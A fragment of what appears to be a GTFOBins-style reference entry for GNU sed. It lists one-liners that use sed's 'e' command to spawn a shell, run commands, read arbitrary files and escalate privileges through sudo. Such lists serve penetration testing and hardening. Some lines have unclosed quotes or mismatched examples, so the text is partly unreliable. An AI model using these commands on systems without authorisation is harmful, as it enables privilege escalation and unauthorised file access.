description |
code |
GNU version only. Also, this requires `bash`. |
sed -n '1e exec sh 1>&0' /etc/hosts |
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description |
code |
GNU version only. |
sed -n "1e id" /etc/hosts |
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code |
LFILE=file_to_write
sed -n '1e exec sh 1>&0 /etc/hosts
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code |
LFILE=file_to_read
sed '' "$LFILE"
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code |
LFILE=file_to_read
./sed -e '' "$LFILE"
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description |
code |
GNU version only. Also, this requires `bash`. |
sudo sed -n '1e exec sh 1>&0 /etc/hosts |
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